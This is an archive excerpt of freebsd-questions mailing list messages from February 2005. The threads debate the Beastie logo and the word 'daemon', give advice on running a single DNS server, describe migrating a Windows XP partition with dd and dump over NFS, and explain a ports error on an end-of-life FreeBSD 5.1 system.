leblanc@keyslapper.org) Received: from keyslapper.org ([68.163.189.143]) by out010.verizon.net (InterMail vM.5.01.06.06 201-253-122-130-106-20030910) with ESMTP id <20050210222711.HQOO25879.out010.verizon.net@keyslapper.org> for ; Thu, 10 Feb 2005 16:27:11 -0600 Received: from localhost (localhost [127.0.0.1]) by keyslapper.org (Postfix) with ESMTP id 0A80E11BCA for ; Thu, 10 Feb 2005 17:27:10 -0500 (EST) Received: from keyslapper.org ([127.0.0.1]) by localhost (keyslapper.net [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 63892-07 for ; Thu, 10 Feb 2005 17:27:02 -0500 (EST) Received: by keyslapper.org (Postfix, from userid 1001) id 72B2311A80; Thu, 10 Feb 2005 17:27:02 -0500 (EST) Date: Thu, 10 Feb 2005 17:27:02 -0500 From: Louis LeBlanc To: freebsd-questions@freebsd.org Message-ID: <20050210222702.GC22874@keyslapper.net> Mail-Followup-To: freebsd-questions@freebsd.org References: <200502092223.01650.algould@datawok.com> <20050210155900.GD89175@keyslapper.net> <1531112695.20050210212532@wanadoo.fr> <20050210153130.68c6a6b9@jacob.6texans.net> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: quoted-printable In-Reply-To: <20050210153130.68c6a6b9@jacob.6texans.net> X-PGP-Key: http://www.keyslapper.net/~leblanc/leblanc-at-keyslapper-net.asc User-Agent: Mutt/1.5.7i X-Virus-Scanned: amavisd-new at keyslapper.net X-Authentication-Info: Submitted using SMTP AUTH at out010.verizon.net from [68.163.189.143] at Thu, 10 Feb 2005 16:27:11 -0600 Subject: Re: Please don't change Beastie to another logo such asNetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@FreeBSD.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 22:27:12 -0000 On 02/10/05 03:31 PM, Jacob S sat at the `puter and typed: >=20 > And a very poor example, IMHO. Can you give any proof that it's a valid > example to say that Christians object to the use of the acronym "daemon" > in Unix-like operating systems? I have not been able to find any proof > on this list, the 19 Linux e-mail lists I am on, or the 2 or 3 > computer/programming forums I occasionally visit.=20 It comes up on this very list all the time. Always reciting the christian objection to "devils" and whatnot. Google is your friend. L --=20 Louis LeBlanc FreeBSD-at-keyslapper-DOT-net Fully Funded Hobbyist, KeySlapper Extrordinaire :) Please send off-list email to: leblanc at keyslapper d.t net Key fingerprint =3D C5E7 4762 F071 CE3B ED51 4FB8 AF85 A2FE 80C8 D9A2 I got this powdered water -- now I don't know what to add. -- Steven Wright From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 22:28:48 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 6C35516A4D7 for ; Thu, 10 Feb 2005 22:28:48 +0000 (GMT) Received: from rwcrmhc13.comcast.net (rwcrmhc13.comcast.net [204.127.198.39]) by mx1.FreeBSD.org (Postfix) with ESMTP id 1032343D31 for ; Thu, 10 Feb 2005 22:28:48 +0000 (GMT) (envelope-from mag@hamletinc.com) Received: from [192.168.12.99] (c-24-19-27-240.client.comcast.net[24.19.27.240]) by comcast.net (rwcrmhc13) with ESMTP id <2005021022284701500e1422e>; Thu, 10 Feb 2005 22:28:47 +0000 Message-ID: <420BDFBC.2020807@hamletinc.com> Date: Thu, 10 Feb 2005 14:27:08 -0800 From: "Mark A. Garcia" User-Agent: Mozilla Thunderbird 0.6 (X11/20040519) X-Accept-Language: en-us, en MIME-Version: 1.0 To: kilim References: <20050210221321.GA6387@phenix.rootshell.be> In-Reply-To: <20050210221321.GA6387@phenix.rootshell.be> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit cc: freebsd-questions@freebsd.org Subject: Re: DNS virgin X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 22:28:48 -0000 kilim wrote: > Now that I've registered a certain domain through godaddy.com I > wish to set up my own DNS server. In the Godaddy's web interface > there is a way to set two new DNS server. Can I just put one of the > server to be my DNS primary leaving out the secondary ? Or can I > leave their server to be my secondary ? > > I'm asking this because I'm on DSL with a static IP, but don't want > to have two server just for DNS. > > By going the this way, with only one DNS server, this wouldn't be > proper and safe right ? > > If you want your own primary and leave godaddy as a sec, you'll need to have zone transfers axfr between your pri and godaddy (sec). Both pri and secondary need to have sync'd dns records. I do not know if godaddy even offers secondary zone transfers service or not. I know everydns.net does (free). I'm sure other free dns services do too. Also, this is under chapter 4 in the dns/bind book. Having one primary dns server is a risk, but perfectly doable. IMHO, if this is for your own small personal space to host just a single dns it would be perfectly fine. I know many folks who just run one dns server personally. Now for more mission critical stuff, it's best to have 2 dns servers or more. Not only for handling the potential swath of requests, but to at least have one server available all the time to serve requests. Keep in mind DNS is getting more and more critical for the simple user nowadays, considering all the anti-spam blocking features that actual verify the email senders domain for MX records. It's up to you... Cheers, -.mag From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 22:30:17 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 0E90B16A4D0 for ; Thu, 10 Feb 2005 22:30:16 +0000 (GMT) Received: from dexter.starfire.mn.org (starfire.skypoint.net [66.93.17.236]) by mx1.FreeBSD.org (Postfix) with ESMTP id C9F9C43D46 for ; Thu, 10 Feb 2005 22:30:13 +0000 (GMT) (envelope-from john@dexter.starfire.mn.org) Received: (from john@localhost) by dexter.starfire.mn.org (8.11.3/8.11.3) id j1AMU2P96934; Thu, 10 Feb 2005 16:30:02 -0600 (CST) (envelope-from john) Date: Thu, 10 Feb 2005 16:30:02 -0600 From: John To: Erik Norgaard Message-ID: <20050210163002.B96694@starfire.mn.org> References: <20050208070846.A13935@starfire.mn.org> <4208BC04.9010204@locolomo.org> <20050208090358.A14279@starfire.mn.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20050208090358.A14279@starfire.mn.org>; from john@starfire.mn.org on Tue, Feb 08, 2005 at 09:03:58AM -0600 cc: freebsd-questions@freebsd.org Subject: Re: Using FreeBSD to migrate Windows XP? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 22:30:17 -0000 On Tue, Feb 08, 2005 at 09:03:58AM -0600, John wrote: > On Tue, Feb 08, 2005 at 02:17:56PM +0100, Erik Norgaard wrote: > > John wrote: > > > OK - I've finally come to the realization (a little slow, I know) > > > that a 5.8Gb disk drive is just not enough to support a desktop > > > environment (including JAVA) for both Windows XP and FreeBSD on my > > > laptop. :( > > > > > > I have used dump(8) to dump out my filesystems. I am wondering > > > if I can just use "dd" to dump out all of /dev/ad0s1 also, > > > and then use "dd" to put it back again when I'm done. Then > > > I'd boot the installation CD into "fixit" mode, build a new > > > MBR, make sure that the new s1 was the same or very slightly larger > > > than the old s1, and use dd to put it back again. Can anyone > > > speak to either the "doomed to failure" or "I've done this and > > > it works" scenarios? > > > > Not doomed, but don't expect to read data on other than FBSD systems. > > This is described in the handbook under using removable media (CD/DVD) > > for backups. > > Oh, yeah, actually, that's no problem. The "media" are files on an > NFS share... I thought I'd give everyone an update: - this worked QUITE WELL! I did a dd copy of the Windows XP fdisk partition (slice) onto my NFS server. (dd if=/dev/ad0s1 of=/backups/pearl-winxp-0-0 bs=64k) I did a dump of all the FreeBSD partitions (with a and L and all that good stuff). I pulled out the old disk drive, and put in the new one. I booted FreeBSD from CD, and created a 20Gb DOS partition, then used the rest of the disk for FreeBSD. I deleted the DOS partition and created a type "7" partition that was the size of the original WinXP partition. This left a gap where I wanted it, between the WinXP fdisk partition and the new FreeBSD parition. (OK - I did have to do some fiddling with the disk geometry to get the partition exactly aligned on the new hard drive, but I suspect I could have just picked the least size greater than the old one and been just fine.) I installed a minimum FreeBSD on the (new) hard drive. I booted from the (new) hard drive. FreeBSD came up! I mounted the backups export via NFS and used dd to copy the WinXP parition onto the new hard drive. I booted WinXP - no problem! It came up just fine. I used WinXP to create an extended partition (this is the space that I left between WinXP and FreeBSD) and I am creating two new NTFS filesystems in it. That's going just dandy. When Windows is all done, I will reboot into a FIXIT situation, wipe out the minimal system I installed, and use the FIXIT environment to restore from the dump images on the NFS export. I anticipate no problems with that. I could have done everything from FIXIT rather than installing a minimum FreeBSD and booting it from the hard drive, except for two things: 1) FreeBSD doesn't like the Compaq MultiBay CD-ROM. 4.x booted and installed from it, but wouldn't see it when booting from the hard drive. 5.x will boot from it, but not even install from it. Therefore, to get to the FIXIT environment, I will have to take out the CD drive and put in the floppy drive. Booting from floppies is a certified PAIN. 2) I mucked with the disk geometry. This was partly to get the fdisk partitions lined up, and partly because the geometry came up with 255 heads, which is questionable. I faked it to 60 heads, because that worked out nicely with the size of my old hard drive (15 heads - cylinders were all multiples of 4 - sometimes you get lucky!), and because it is below the 63 that I believe to always be safe. Anyway, having mucked with the disk geometry, I always like to know that I can create a bootable system quick, in case I have to go back and undo something or do it differently at that more basic level. 3) I wanted to do all the Windows work before I fully restored the FreeBSD system, because Windows has been a bad neighbor in the past. > Best of luck, > > Andrew Gould Thanks! It seems I had good luck. > > I'll use FreeBSD booted from the CD to put it back. > -- > > John Lind > john@starfire.MN.ORG > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" -- John Lind john@starfire.MN.ORG From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 22:31:27 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 10A3B16A4CE for ; Thu, 10 Feb 2005 22:31:27 +0000 (GMT) Received: from ns1.tiadon.com (SMTP.tiadon.com [69.27.132.161]) by mx1.FreeBSD.org (Postfix) with ESMTP id B6FCF43D41 for ; Thu, 10 Feb 2005 22:31:26 +0000 (GMT) (envelope-from kdk@daleco.biz) Received: from [69.27.131.0] ([69.27.131.0]) by ns1.tiadon.com with Microsoft SMTPSVC(6.0.3790.211); Thu, 10 Feb 2005 16:31:22 -0600 Message-ID: <420BE0BC.20505@daleco.biz> Date: Thu, 10 Feb 2005 16:31:24 -0600 From: Kevin Kinsey User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.3) Gecko/20041210 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Joachim Dagerot References: <200502101514.j1AFEWtm031883@mail-core.space2u.com> In-Reply-To: <200502101514.j1AFEWtm031883@mail-core.space2u.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 10 Feb 2005 22:31:23.0215 (UTC) FILETIME=[40053DF0:01C50FC0] cc: freebsd-questions@freebsd.org Subject: Re: Messed up my ports - "Can't find the `5.1-RELEASE' distribution on this FTP server." X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 22:31:27 -0000 Joachim Dagerot wrote: >I have probably done something sometime on my 2 year+ server installation that wrecked my port installation. > >Whenever I try to install a port I get the "Can't find the `5.1-RELEASE' distribution on this FTP server." the same goes with "sysinstall -> configure -> Distributions" I have tried multiple servers including the main. With the same result. > >I really don't know what to do. Any help is appreciated! > > > You probably didn't do anything. FreeBSD 5.1 is quite a bit past EOL. See www.freebsd.org/security/. Note that 5.1 is no longer on the list. Updgrade the system; then it won't be looking for non-existent 3rd party software any longer. You should probably ask again to see if you can go straight to 5.3 from 5.1, or upgrade to 5.2.1 first and then 5.3. I'm not sure, myself. Kevin Kinsey From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 22:34:48 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id D65C716A4CE for ; Thu, 10 Feb 2005 22:34:48 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id 64D5943D1F for ; Thu, 10 Feb 2005 22:34:48 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf1103.wanadoo.fr (SMTP Server) with ESMTP id ED9FE1C00090 for ; Thu, 10 Feb 2005 23:34:46 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1103.wanadoo.fr (SMTP Server) with ESMTP id BC5EF1C00086 for ; Thu, 10 Feb 2005 23:34:46 +0100 (CET) X-ME-UUID: 20050210223446771.BC5EF1C00086@mwinf1103.wanadoo.fr Date: Thu, 10 Feb 2005 23:34:41 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <73252383.20050210233441@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: References: <200502091349.00708.algould@datawok.com> <1709665858.20050210101217@wanadoo.fr> <20050210114338.B30327@one.thequestion.net> <299713472.20050210210055@wanadoo.fr> <1108067044.658.12.camel@hatter.wonderland.dn> <535601999.20050210213743@wanadoo.fr> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Logo Contest X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 22:34:48 -0000 Garance A Drosihn writes: > You've never heard of a startup firm? Perhaps a startup made of > recent college graduates? They might not "kill" for the chance, > but if they do have some spare time they might find this an > attractive project to spend some time on. People who want to make money don't do freebies. A very common mistake made by artists going into business is giving away work for free, under the misconception that this will somehow lead to paying business. In reality, it just leads to requests for more freebies, or to nothing at all. Thus, serious artists are going to expect to be paid money. > Uh, the same could be said for programming. So why are you using > an open-source operating system which is largely supported by people > who are NOT paid to work on it? And who give it away for Free? These are people who earn a living by other means. Nobody who doesn't have other sources of income writes software for free. > Listen, if all we come up with is crappy logo submissions, then > we won't actually switch to any new logo. We're just trying to > see what people *can* come up with, and maybe reward them a little > bit for making the effort. No problem with that. But don't assume that any professionals (or professional-level artists) will jump forward and give you free work for the hypothetical "exposure." FreeBSD doesn't have anything remotely near the kind of exposure that would be useful for a graphic artist, even were he willing to give away his work for free. Not only is the FreeBSD community relatively quite small, but the people who do see the work would not be potential customers. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 22:41:56 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 90C3C16A4CE for ; Thu, 10 Feb 2005 22:41:56 +0000 (GMT) Received: from ns1.tiadon.com (SMTP.tiadon.com [69.27.132.161]) by mx1.FreeBSD.org (Postfix) with ESMTP id 4018943D41 for ; Thu, 10 Feb 2005 22:41:56 +0000 (GMT) (envelope-from kdk@daleco.biz) Received: from [69.27.131.0] ([69.27.131.0]) by ns1.tiadon.com with Microsoft SMTPSVC(6.0.3790.211); Thu, 10 Feb 2005 16:41:51 -0600 Message-ID: <420BE330.5020701@daleco.biz> Date: Thu, 10 Feb 2005 16:41:52 -0600 From: Kevin Kinsey User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.3) Gecko/20041210 X-Accept-Language: en-us, en MIME-Version: 1.0 To: kilim References: <20050210221321.GA6387@phenix.rootshell.be> In-Reply-To: <20050210221321.GA6387@phenix.rootshell.be> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 10 Feb 2005 22:41:51.0794 (UTC) FILETIME=[B6AEC920:01C50FC1] cc: freebsd-questions@freebsd.org Subject: Re: DNS virgin X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 22:41:56 -0000 kilim wrote: >Hello, > >being a DNS virgin I deceided to post this after reading through Dns & >Bind book and various on/off-line documentation. > >I have loads of questions even though I've read through this >stuff. And I'm hoping that you can help me clarify them. Thanks in >advance ! > > Now that I've registered a certain domain through godaddy.com I > wish to set up my own DNS server. In the Godaddy's web interface > there is a way to set two new DNS server. Can I just put one of the > server to be my DNS primary leaving out the secondary ? Or can I > leave their server to be my secondary ? > > > I don't know if GoDaddy would provide this service for you or not. They might, and if so, probably you have to request it and pay a fee. > I'm asking this because I'm on DSL with a static IP, but don't want > to have two server just for DNS. > > By going the this way, with only one DNS server, this wouldn't be > proper and safe right ? > > Well, first, make sure that running servers is within the ISP's TOS agreement. You really *should* have 2 DNS servers ... if you have only one and it goes down for too long a time period. your domains will disappear from the worldwide system until you get it back up. I suppose it's conceivable that a lot of traffic against that DSL modem might even cause some requests to fail. And, if possible, they should be on different networks. My company found this out the hard way once, when the upstream provider had difficulties and both our existing DNS boxes, though they were running fine, disappeared. Fortunately we were able to resolve the issue before too much mail started flying around in la la land. That said, you could put a site "on the air" without a secondary, but I wouldn't charge people to use it. ;-) Try googling for "free secondary name servers" or somesuch. I'm pretty sure that there is/are an organization(s) that does secondary DNS for free, or at least there *used* to be. Good luck! Kevin Kinsey DaleCo, S.P. From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 22:43:05 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 6348616A4CE for ; Thu, 10 Feb 2005 22:43:05 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id 24D9B43D3F for ; Thu, 10 Feb 2005 22:43:05 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf1112.wanadoo.fr (SMTP Server) with ESMTP id 5CD131C000A0 for ; Thu, 10 Feb 2005 23:43:04 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1112.wanadoo.fr (SMTP Server) with ESMTP id 40D531C0009C for ; Thu, 10 Feb 2005 23:43:04 +0100 (CET) X-ME-UUID: 20050210224304265.40D531C0009C@mwinf1112.wanadoo.fr Date: Thu, 10 Feb 2005 23:43:03 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <1596515627.20050210234303@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: <20050210153130.68c6a6b9@jacob.6texans.net> References: <200502092223.01650.algould@datawok.com> <1531112695.20050210212532@wanadoo.fr> <20050210153130.68c6a6b9@jacob.6texans.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Please don't change Beastie to another logo such asNetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 22:43:05 -0000 Jacob S writes: > And a very poor example, IMHO. I look forward to seeing yours. > Can you give any proof that it's a valid example to say that > Christians object to the use of the acronym "daemon" in Unix-like > operating systems? I have not been able to find any proof on this > list, the 19 Linux e-mail lists I am on, or the 2 or 3 > computer/programming forums I occasionally visit. I don't know what they think of the word daemon, and that was not the topic of the discussion. I was talking about logos. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 22:45:20 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 1D05816A4CE for ; Thu, 10 Feb 2005 22:45:20 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id D5E3A43D48 for ; Thu, 10 Feb 2005 22:45:19 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf1107.wanadoo.fr (SMTP Server) with ESMTP id 1EB191C00087 for ; Thu, 10 Feb 2005 23:45:19 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1107.wanadoo.fr (SMTP Server) with ESMTP id C3BA01C00092 for ; Thu, 10 Feb 2005 23:45:18 +0100 (CET) X-ME-UUID: 20050210224518801.C3BA01C00092@mwinf1107.wanadoo.fr Date: Thu, 10 Feb 2005 23:45:18 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <1659090546.20050210234518@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: <005b01c50fb8$964ff9f0$6601a8c0@woodstock> References: <005b01c50fb8$964ff9f0$6601a8c0@woodstock> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: changing logo X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 22:45:20 -0000 Tom Mecke writes: > Many people may think twice about donating money to the project if > you are worrying about trivial complaints about a cute little "daemon" > logo instead of directing energy all to the project! No more than would worry about the possibly "demonic" connotations of a devil as a mascot. A small minority in either case, especially among people who have managed to earn a lot of money of their own (and are thus in a position to donate money). -- Anthony From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 22:46:08 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id A977E16A4CE for ; Thu, 10 Feb 2005 22:46:08 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id 68E6543D2D for ; Thu, 10 Feb 2005 22:46:08 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf1103.wanadoo.fr (SMTP Server) with ESMTP id 3BF461C00090 for ; Thu, 10 Feb 2005 23:46:04 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1103.wanadoo.fr (SMTP Server) with ESMTP id 230BC1C0008D for ; Thu, 10 Feb 2005 23:46:04 +0100 (CET) X-ME-UUID: 20050210224604143.230BC1C0008D@mwinf1103.wanadoo.fr Date: Thu, 10 Feb 2005 23:46:03 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <255946599.20050210234603@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: <20050210154513.4d649527@jacob.6texans.net> References: <200502091349.00708.algould@datawok.com> <1709665858.20050210101217@wanadoo.fr> <20050210114338.B30327@one.thequestion.net> <299713472.20050210210055@wanadoo.fr> <1108067044.658.12.camel@hatter.wonderland.dn> <535601999.20050210213743@wanadoo.fr> <20050210154513.4d649527@jacob.6texans.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Logo Contest X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 22:46:08 -0000 Jacob S writes: > You make it sound as if the FreeBSD project paid a million dollars for > the current drawing of "Beastie". No. While Beastie is cute and well executed, it's not professional graphic art. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 22:47:56 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 20FF016A4CE for ; Thu, 10 Feb 2005 22:47:56 +0000 (GMT) Received: from smtp3.server.rpi.edu (smtp3.server.rpi.edu [128.113.2.3]) by mx1.FreeBSD.org (Postfix) with ESMTP id B6DA943D2F for ; Thu, 10 Feb 2005 22:47:55 +0000 (GMT) (envelope-from gad@FreeBSD.org) Received: from [128.113.24.47] (gilead.netel.rpi.edu [128.113.24.47]) by smtp3.server.rpi.edu (8.13.0/8.13.0) with ESMTP id j1AMlrAF009825 for ; Thu, 10 Feb 2005 17:47:54 -0500 Mime-Version: 1.0 Message-Id: In-Reply-To: <20050210222702.GC22874@keyslapper.net> References: <200502092223.01650.algould@datawok.com> <20050210155900.GD89175@keyslapper.net> <1531112695.20050210212532@wanadoo.fr> <20050210153130.68c6a6b9@jacob.6texans.net> <20050210222702.GC22874@keyslapper.net> Date: Thu, 10 Feb 2005 17:47:53 -0500 To: freebsd-questions@FreeBSD.org From: Garance A Drosehn Content-Type: text/plain; charset="us-ascii" ; format="flowed" X-CanItPRO-Stream: default X-RPI-SA-Score: undef - spam-scanning disabled X-Scanned-By: CanIt (www . canit . ca) Subject: Re: Please don't change Beastie to another logo such asNetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 22:47:56 -0000 At 5:27 PM -0500 2/10/05, Louis LeBlanc wrote: >On 02/10/05 03:31 PM, Jacob S sat at the `puter and typed: >> >> And a very poor example, IMHO. Can you give any proof that it's a valid >> example to say that Christians object to the use of the acronym "daemon" >> in Unix-like operating systems? I have not been able to find any proof >> on this list, the 19 Linux e-mail lists I am on, or the 2 or 3 >> computer/programming forums I occasionally visit. > >It comes up on this very list all the time. Always reciting the >christian objection to "devils" and whatnot. > >Google is your friend. No. The people I meet in real life are my friends. Google is a search engine, and capable of finding some web page somewhere for any and every extremist position. You can also find web pages by people who are upset by every company logo which happens to have an eye somewhere in it. That doesn't mean "my friends" have the same objections. I am saying that among the people I actually meet in real life (whether friends or not), not one person has objected to the daemon image based on their religious convictions. Not one. But quite a few have thought that the icon seemed a little silly. It is only among the experienced Unix users who think it's a great, amusing icon. -- Garance Alistair Drosehn = gad@gilead.netel.rpi.edu Senior Systems Programmer or gad@FreeBSD.org Rensselaer Polytechnic Institute; Troy, NY; USA From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 22:49:07 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 1771E16A4CE for ; Thu, 10 Feb 2005 22:49:07 +0000 (GMT) Received: from server1.ultratrends.com (S01060004e20310fa.rd.shawcable.net [70.65.87.221]) by mx1.FreeBSD.org (Postfix) with ESMTP id 7948543D1F for ; Thu, 10 Feb 2005 22:49:06 +0000 (GMT) (envelope-from technical@ultratrends.com) Received: from server1.ultratrends.com (localhost [127.0.0.1]) j1AMn5j9081894 for ; Thu, 10 Feb 2005 15:49:05 -0700 (MST) (envelope-from trodat@server1.ultratrends.com) Received: from localhost (trodat@localhost)j1AMn5x0081891 for ; Thu, 10 Feb 2005 15:49:05 -0700 (MST) (envelope-from trodat@server1.ultratrends.com) Date: Thu, 10 Feb 2005 15:49:05 -0700 (MST) From: Technical Director To: freebsd-questions@freebsd.org In-Reply-To: <255946599.20050210234603@wanadoo.fr> Message-ID: <20050210154833.G81852@server1.ultratrends.com> References: <200502091349.00708.algould@datawok.com> <1709665858.20050210101217@wanadoo.fr> <299713472.20050210210055@wanadoo.fr> <535601999.20050210213743@wanadoo.fr> <255946599.20050210234603@wanadoo.fr> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Milter: Spamilter (Reciever: server1.ultratrends.com; Sender-ip: 127.0.0.1; Sender-helo: server1.ultratrends.com;) Subject: Re: Logo Contest X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 22:49:07 -0000 On Thu, 10 Feb 2005, Anthony Atkielski wrote: > No. While Beastie is cute and well executed, it's not professional > graphic art. Here here... Rob. From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 22:49:50 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 5B4BD16A4CE for ; Thu, 